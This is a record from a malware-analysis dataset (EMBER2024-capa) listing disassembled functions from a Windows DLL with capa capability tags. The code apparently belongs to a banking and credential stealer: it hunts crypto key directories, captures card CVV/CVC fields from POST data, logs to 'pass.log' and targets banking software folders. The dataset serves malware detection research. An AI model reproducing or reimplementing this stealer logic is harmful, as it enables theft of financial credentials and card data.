joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100192f0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
test ebx, ebx
jne 0x10019302
xor eax, eax
pop ebx
pop ebp
ret 4
cmp dword [0x10056280], 0
push esi
push edi
jne 0x100194c5
cmp dword [0x10056290], 0
je 0x100194c5
mov esi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
push str.self.cer
push ebx
call esi
mov edi, eax
test edi, edi
jne 0x100193b1
push str.crypto_
push ebx
call esi
test eax, eax
je 0x10019350
push 0x100477b0
inc eax
push eax
call esi
mov edi, eax
test edi, edi
je 0x10019350
inc edi
jmp 0x100193b1
push 0x100477b0
push ebx
call esi
mov edi, eax
test edi, edi
je 0x10019395
push str.crypto
inc edi
push edi
call esi
mov edi, eax
test edi, edi
je 0x10019395
push 0x100477b0
inc edi
push edi
call esi
mov edi, eax
test edi, edi
je 0x10019395
push str.private_
push ebx
inc edi
call esi
test eax, eax
jne 0x100193b1
push str.public_
push ebx
call esi
test eax, eax
jne 0x100193b1
push str.private_
push ebx
call esi
test eax, eax
jne 0x100193b1
push str.public_
push ebx
call esi
test eax, eax
je 0x100194c5
push str.microscrypto_
push ebx
call esi
test eax, eax
jne 0x100194c5
push str.maxthon3public_
push ebx
call esi
test eax, eax
jne 0x100194c5
push str.microsoftcrypto_
push ebx
call esi
test eax, eax
jne 0x100194c5
push str.crypto_pro_
push ebx
call esi
test eax, eax
jne 0x100194c5
push str.progra1crypto1_
push ebx
call esi
test eax, eax
jne 0x100194c5
push str._temporary_internet_files_
push ebx
call esi
test eax, eax
jne 0x100194c5
push str.:userspublic
push ebx
call esi
test eax, eax
jne 0x100194c5
push 0x10048d10
push ebx
call esi
test eax, eax
je 0x1001943d
push 0x100477b0
push eax
call esi
test eax, eax
jne 0x100194c5
push str.cryptokit_
push ebx
call esi
test eax, eax
jne 0x100194c5
push str.:progra1common1crypto1
push ebx
call esi
test eax, eax
jne 0x100194c5
xor esi, esi
cmp edi, esi
je 0x100194a9
push esi
push esi
push ebx
push 0x10017b80
push esi
push esi
mov dword [0x10056280], 1
mov byte [edi], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, eax
cmp edi, esi
je 0x1001949d
lea ecx, [ebp + 8]
push ecx
push edi
mov dword [ebp + 8], esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1001949d
test byte [ebp + 8], 2
jne 0x1001949d
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, 1
pop ebx
pop ebp
ret 4
push esi
push esi
push ebx
push 0x10017460
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, eax
cmp edi, esi
je 0x1001949d
lea eax, [ebp + 8]
push eax
jmp 0x10019482
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret 4
Function at 0x100194d0
Capabilities:
Check if file exists
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
push esi
push edi
push 0x103
lea eax, [ebp - 0x10f]
push 0
push eax
mov byte [ebp - 0x110], 0
call sub.ntdll.dll_memset
add esp, 0xc
cmp dword [0x10056290], 0
jne 0x100196ec
cmp dword [0x10056288], 0
je 0x10019690
cmp dword [0x10056294], 0
je 0x10019687
mov ecx, dword [ebp + 8]
push 0x10048d48
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x10019687
xor eax, eax
lea esp, [esp]
mov cl, byte [eax + 0x10055868]
mov byte [ebp + eax - 0x110], cl
inc eax
test cl, cl
jne 0x10019540
mov ebx, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0x10058858
call ebx
mov eax, 0x10058858
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10019566
lea edi, [ebp - 0x110]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10019578
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0x10058858
rep movsb byte es:[edi], byte [esi]
call ebx
mov eax, 0x10058858
call fcn.10003430
lea esi, [ebp - 0x110]
call fcn.100075b0
mov eax, esi
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x100195b0
mov edx, dword [str.pass.log]
mov ecx, dword [0x1004879c]
mov dword [eax], edx
mov dl, byte [0x100487a0]
mov dword [eax + 4], ecx
mov byte [eax + 8], dl
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x10019687
lea eax, [ebp - 0x110]
call fcn.10006fd0
mov esi, eax
cmp esi, 0xffffffff
je 0x10019687
mov edx, dword [0x10056294]
mov eax, edx
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10019608
sub eax, edi
push edx
mov edi, eax
call fcn.10007250
mov ecx, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
push ecx
call fcn.10007250
call fcn.10020150
mov esi, dword [0x10056294]
call fcn.1000e820
push 0
push 0
push 0
push 0x10016cb0
push 0
push 0
mov dword [0x10056288], 0
mov dword [0x10056290], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x10019687
lea edx, [ebp - 4]
push edx
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10019687
test byte [ebp - 4], 2
jne 0x10019687
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x10056288], 0
jne 0x100196ec
mov edi, dword [ebp + 8]
cmp dword [edi], 0x54534f50
jne 0x100196f5
cmp byte [edi + 4], 0x20
jne 0x100196f5
push str.bsi.dll
push edi
call dword [sym.imp.ntdll.dll_strstr]
add esp, 8
test eax, eax
je 0x100196f5
mov esi, dword [0x10056294]
mov dword [0x10056288], 1
test esi, esi
je 0x100196cd
call fcn.1000e820
mov esi, dword [ebp + 0xc]
lea ecx, [esi + 1]
call fcn.1000e7e0
mov dword [0x10056294], eax
test eax, eax
je 0x100196ec
push esi
push edi
push eax
call sub.ntdll.dll_memcpy
add esp, 0xc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
pop edi
pop esi
mov dword [0x10056288], 0
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10019710
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
test edi, edi
je 0x100198ac
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10019721
push 0
sub eax, edx
push eax
push edi
call fcn.10045810
cmp eax, dword [0x100564cc]
je 0x100198ac
push ebx
mov ebx, dword [sym.imp.SHLWAPI.dll_StrStrIA]
push esi
push 0x10048d54
push edi
mov dword [0x100564cc], eax
call ebx
mov esi, eax
test esi, esi
je 0x10019766
push str.cvv
push edi
call ebx
test eax, eax
je 0x100197a2
push 0x10048d64
push edi
call ebx
mov esi, eax
test esi, esi
je 0x10019780
push str.cvv2
push edi
call ebx
test eax, eax
je 0x100197a2
push 0x10048d74
push edi
call ebx
mov esi, eax
test esi, esi
je 0x100198aa
push str.cvc
push edi
call ebx
test eax, eax
jne 0x100198aa
mov ebx, dword [sym.imp.ntdll.dll_strstr]
push str.domainletitbit.net
push edi
call ebx
add esp, 8
test eax, eax
jne 0x100198aa
push 0x100482bc
push esi
call ebx
add esp, 8
test eax, eax
je 0x100198aa
mov cl, byte [eax + 1]
cmp cl, 0x30
jl 0x100198aa
cmp cl, 0x39
jg 0x100198aa
mov cl, byte [eax + 2]
cmp cl, 0x30
jl 0x100198aa
cmp cl, 0x39
jg 0x100198aa
mov cl, byte [eax + 3]
cmp cl, 0x30
jl 0x100198aa
cmp cl, 0x39
jg 0x100198aa
mov cl, 0x26
cmp byte [eax + 4], cl
jne 0x100198aa
cmp byte [eax + 5], cl
jne 0x100198aa
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10019826
sub eax, edx
lea esi, [eax + 1]
test esi, esi
je 0x100198aa
mov eax, dword [0x10054278]
add esi, 0x13
and esi, 0xfffffff0
push esi
push 8
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x100198aa
push esi
push 0
push ebx
call sub.ntdll.dll_memset
mov edx, ebx
add esp, 0xc
mov eax, edi
sub edx, edi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x10019863
push 0
push 0
push ebx
push 0x100198b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x100198aa
lea ecx, [ebp - 4]
push ecx
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x100198aa
test byte [ebp - 4], 2
jne 0x100198aa
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10019f60
Capabilities:
Create thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x10056524]
test eax, eax
je 0x10019f76
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push 0
push 0
push 0x10019e30
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x10056524], eax
test eax, eax
je 0x10019fbb
push esi
lea ecx, [ebp - 4]
push ecx
push eax
mov esi, eax
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10019fba
test byte [ebp - 4], 2
jne 0x10019fba
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1001a6e0
Capabilities:
Check mutex on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenMutexA]
push str.LocalAAFEE2BF_8989_4fe1_9A0D_95CD39DC0A14
push 0
push 0x100000
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, eax
test esi, esi
jne 0x1001a728
lea ebx, [ebx]
push 0x64
call ebx
push str.LocalAAFEE2BF_8989_4fe1_9A0D_95CD39DC0A14
push 0
push 0x100000
call edi
mov esi, eax
test esi, esi
je 0x1001a710
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edi, dword [sym.imp.KERNEL32.dll_GetHandleInformation]
mov dword [esp + 0xc], 0
test esi, esi
je 0x1001a75b
lea eax, [esp + 0xc]
push eax
push esi
call edi
test eax, eax
je 0x1001a75b
test byte [esp + 0xc], 2
jne 0x1001a75b
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
push 0x1001a310
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1001a7a8
push 0x9c40
call ebx
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea ecx, [esp + 0xc]
push ecx
push esi
mov dword [esp + 0x14], 0
call edi
test eax, eax
je 0x1001a7a8
test byte [esp + 0xc], 2
jne 0x1001a7a8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x10058c68
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push str.FAKTURA
push 0x10058c68
call fcn.1000df70
push 0x9c40
call ebx
call fcn.1001a6e0
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001a7e0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
xor eax, eax
push ebx
push esi
push edi
mov dword [esp + 0x14], eax
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
cmp dword [0x1005657c], eax
jne 0x1001a974
mov edi, dword [ebp + 0xc]
cmp edi, eax
je 0x1001a974
mov esi, dword [sym.imp.SHLWAPI.dll_StrStrIW]
push str.java_
push edi
call esi
test eax, eax
jne 0x1001a974
push str.windows_
push edi
call esi
test eax, eax
jne 0x1001a974
xor esi, esi
push esi
push esi
push esi
push esi
push 0xffffffffffffffff
push edi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ebx, eax
test ebx, ebx
je 0x1001a896
lea eax, [ebx + ebx]
test eax, eax
je 0x1001a87f
lea edi, [eax + 0x13]
mov eax, dword [0x10054278]
and edi, 0xfffffff0
push edi
push 8
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x1001a87c
push edi
push 0
push esi
call sub.ntdll.dll_memset
add esp, 0xc
mov edi, dword [ebp + 0xc]
test esi, esi
je 0x1001a896
push 0
push 0
push ebx
push esi
push 0xffffffffffffffff
push edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [esp + 0x14], esi
test esi, esi
je 0x1001a974
push 0x104
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x1001a974
mov ebx, dword [ebp + 8]
lea ecx, [esp + 0x18]
push ecx
xor esi, esi
push ebx
mov dword [esp + 0x20], esi
mov dword [esp + 0x24], esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov eax, dword [esp + 0x18]
cmp eax, 0x64
jb 0x1001a977
cmp eax, 0x5000
ja 0x1001a977
push 1
push esi
push esi
push ebx
mov dword [esp + 0x28], esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push 4
push 0
mov esi, eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LockFile]
push 0
lea edx, [esp + 0x1c]
push edx
push 4
lea eax, [esp + 0x1c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
push 4
push 0
push esi
push ebx
mov edi, eax
call dword [sym.imp.KERNEL32.dll_UnlockFile]
test edi, edi
je 0x1001a977
mov ecx, dword [esp + 0x10]
xor eax, eax
cmp ecx, 0x534b4269
sete al
mov dword [esp + 0xc], eax
test eax, eax
je 0x1001a953
mov dword [0x1005657c], 1
jmp 0x1001a977
xor eax, eax
mov edx, 0x4b50
cmp cx, dx
setne al
mov dword [esp + 0xc], eax
test eax, eax
je 0x1001a977
mov dword [0x1005657c], 1
jmp 0x1001a977
mov ebx, dword [ebp + 8]
xor ecx, ecx
push ecx
push ecx
push ecx
xor eax, eax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov esi, dword [esp + 0x14]
test esi, esi
je 0x1001a9b1
mov eax, dword [0x10054278]
push esi
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x1001a9b1
mov ecx, dword [0x10054278]
push esi
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esp + 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x1001ae10
Capabilities:
Check mutex on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenMutexA]
push str.LocalEAF799BF_8989_4fe1_9A0D_95CD39DC0214
push 0
push 0x100000
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, eax
test esi, esi
jne 0x1001ae58
lea ebx, [ebx]
push 0x64
call ebx
push str.LocalEAF799BF_8989_4fe1_9A0D_95CD39DC0214
push 0
push 0x100000
call edi
mov esi, eax
test esi, esi
je 0x1001ae40
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edi, dword [sym.imp.KERNEL32.dll_GetHandleInformation]
mov dword [esp + 0xc], 0
test esi, esi
je 0x1001ae8b
lea eax, [esp + 0xc]
push eax
push esi
call edi
test eax, eax
je 0x1001ae8b
test byte [esp + 0xc], 2
jne 0x1001ae8b
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
push 0x1001ace0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1001aed8
push 0x9c40
call ebx
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea ecx, [esp + 0xc]
push ecx
push esi
mov dword [esp + 0x14], 0
call edi
test eax, eax
je 0x1001aed8
test byte [esp + 0xc], 2
jne 0x1001aed8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x10058e70
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push str.IBANK
push 0x10058e70
call fcn.1000df70
push 0x9c40
call ebx
call fcn.1001ae10
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001af70
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x18
push ebx
xor ebx, ebx
push edi
mov dword [esp + 8], ebx
cmp dword [0x100565ac], ebx
je 0x1001b075
cmp dword [0x100565a8], ebx
jne 0x1001b075
lea eax, [esp + 0x18]
push eax
push esi
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov eax, dword [esp + 0x18]
mov dword [esp + 0xc], eax
cmp eax, ebx
je 0x1001b075
mov ecx, dword [0x10054278]
lea ebx, [eax + 0x13]
and ebx, 0xfffffff0
push ebx
push 8
push ecx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x1001afe5
push ebx
push 0
push edi
call sub.ntdll.dll_memset
add esp, 0xc
mov ebx, edi
test edi, edi
je 0x1001b075
push 1
push 0
push 0
push esi
mov dword [esp + 0x24], 0
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edx, dword [esp + 0xc]
push 0
push edx
push 0
mov ebx, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_LockFile]
mov ecx, dword [esp + 0xc]
push 0
lea eax, [esp + 0x18]
push eax
push ecx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [esp + 0xc]
push 0
push edx
push 0
push ebx
push esi
mov dword [esp + 0x2c], eax
call dword [sym.imp.KERNEL32.dll_UnlockFile]
cmp dword [esp + 0x18], 0
je 0x1001b073
mov ebx, dword [sym.imp.SHLWAPI.dll_StrStrA]
push str.BEGIN_SIGNATURE
push edi
call ebx
test eax, eax
je 0x1001b073
push str.END_SIGNATURE
push edi
call ebx
test eax, eax
je 0x1001b073
mov eax, 1
mov dword [0x100565a8], eax
mov dword [esp + 8], eax
mov ebx, edi
xor ecx, ecx
push ecx
push ecx
push ecx
xor eax, eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test ebx, ebx
je 0x1001b0ab
mov eax, dword [0x10054278]
push ebx
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x1001b0ab
mov ecx, dword [0x10054278]
push ebx
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esp + 8]
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001b6d0
Capabilities:
Check mutex on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenMutexA]
push str.LocalAAF799BF_8989_4fe1_9A0D_95CD39DC0A14
push 0
push 0x100000
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, eax
test esi, esi
jne 0x1001b718
lea ebx, [ebx]
push 0x64
call ebx
push str.LocalAAF799BF_8989_4fe1_9A0D_95CD39DC0A14
push 0
push 0x100000
call edi
mov esi, eax
test esi, esi
je 0x1001b700
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edi, dword [sym.imp.KERNEL32.dll_GetHandleInformation]
mov dword [esp + 0xc], 0
test esi, esi
je 0x1001b74b
lea eax, [esp + 0xc]
push eax
push esi
call edi
test eax, eax
je 0x1001b74b
test byte [esp + 0xc], 2
jne 0x1001b74b
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
push 0x1001b5a0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1001b798
push 0x9c40
call ebx
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea ecx, [esp + 0xc]
push ecx
push esi
mov dword [esp + 0x14], 0
call edi
test eax, eax
je 0x1001b798
test byte [esp + 0xc], 2
jne 0x1001b798
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x10058f74
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push str.INIST
push 0x10058f74
call fcn.1000df70
push 0x9c40
call ebx
call fcn.1001b6d0
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001b7d0
Capabilities:
Create directory
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
xor eax, eax
jmp 0x1001b7e0
mov cl, byte [eax + 0x10055868]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x1001b7e0
push ebx
mov ebx, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push esi
push edi
push 0x10059078
call ebx
mov eax, 0x10059078
mov ecx, eax
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1001b810
lea edi, [ebp - 0x104]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001b822
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
lea eax, [ebp - 0x104]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x1001b871
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001b86a
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x1001b966
lea eax, [ebp - 0x104]
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001b890
mov ecx, dword [str.keys.zip]
mov edx, dword [0x100489c4]
mov dword [eax], ecx
mov cl, byte [0x100489c8]
mov dword [eax + 4], edx
mov edx, dword [ebp + 8]
mov byte [eax + 8], cl
push edx
lea eax, [ebp - 0x104]
push eax
call fcn.10024550
test eax, eax
je 0x1001b966
xor eax, eax
lea esp, [esp]
mov cl, byte [eax + 0x10055868]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x1001b8d0
push 0x10059078
call ebx
mov eax, 0x10059078
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1001b8f0
lea edi, [ebp - 0x104]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001b902
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x104]
rep movsb byte es:[edi], byte [esi]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001b920
mov ecx, dword [str.path1.txt]
mov edx, dword [0x1004905c]
mov esi, dword [ebp + 8]
mov dword [eax], ecx
mov cx, word [0x10049060]
mov dword [eax + 4], edx
mov word [eax + 8], cx
mov eax, esi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1001b950
sub eax, edx
push eax
push esi
lea eax, [ebp - 0x104]
call fcn.10006ff0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x1001be40
Capabilities:
Check mutex on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenMutexA]
push str.LocalEAF329BF_8989_4fe1_9A0D_95CD39DC0214
push 0
push 0x100000
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, eax
test esi, esi
jne 0x1001be88
lea ebx, [ebx]
push 0x64
call ebx
push str.LocalEAF329BF_8989_4fe1_9A0D_95CD39DC0214
push 0
push 0x100000
call edi
mov esi, eax
test esi, esi
je 0x1001be70
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edi, dword [sym.imp.KERNEL32.dll_GetHandleInformation]
mov dword [esp + 0xc], 0
test esi, esi
je 0x1001bebb
lea eax, [esp + 0xc]
push eax
push esi
call edi
test eax, eax
je 0x1001bebb
test byte [esp + 0xc], 2
jne 0x1001bebb
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
push 0x1001bbd0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1001bf08
push 0x9c40
call ebx
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea ecx, [esp + 0xc]
push ecx
push esi
mov dword [esp + 0x14], 0
call edi
test eax, eax
je 0x1001bf08
test byte [esp + 0xc], 2
jne 0x1001bf08
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x10059078
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push str.INTER
push 0x10059078
call fcn.1000df70
push 0x9c40
call ebx
call fcn.1001be40
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001bf50
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push esi
push eax
xor esi, esi
call dword [sym.imp.USER32.dll_GetParent]
test eax, eax
je 0x1001c068
push ebx
push 0x104
lea ecx, [ebp - 0x218]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
push 0x100490d4
lea edx, [ebp - 0x218]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
xor ecx, ecx
cmp ecx, eax
sbb ebx, ebx
neg ebx
je 0x1001c060
push str.LocalAAF733BF_8989_4fe1_9A0D_95CD39DC0A14
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
je 0x1001c060
push edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
call fcn.10020190
test eax, eax
je 0x1001c023
push 0
lea edx, [ebp - 4]
push edx
push 1
push str.S:_ML__NRNWNX___LW_
call dword [sym.imp.ADVAPI32.dll_ConvertStringSecurityDescriptorToSecurityDescriptorW]
test eax, eax
je 0x1001c023
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0x10]
push edx
push eax
mov dword [ebp - 8], 0
call dword [sym.imp.ADVAPI32.dll_GetSecurityDescriptorSacl]
test eax, eax
je 0x1001c019
mov ecx, dword [ebp - 8]
push ecx
push 0
push 0
push 0
push 0x10
push 6
push str.LocalAAF733BF_8989_4fe1_9A0D_95CD39DC0A14
call dword [sym.imp.ADVAPI32.dll_SetNamedSecurityInfoA]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea eax, [ebp - 4]
push eax
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
pop edi
test eax, eax
je 0x1001c060
test byte [ebp - 4], 2
jne 0x1001c060
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret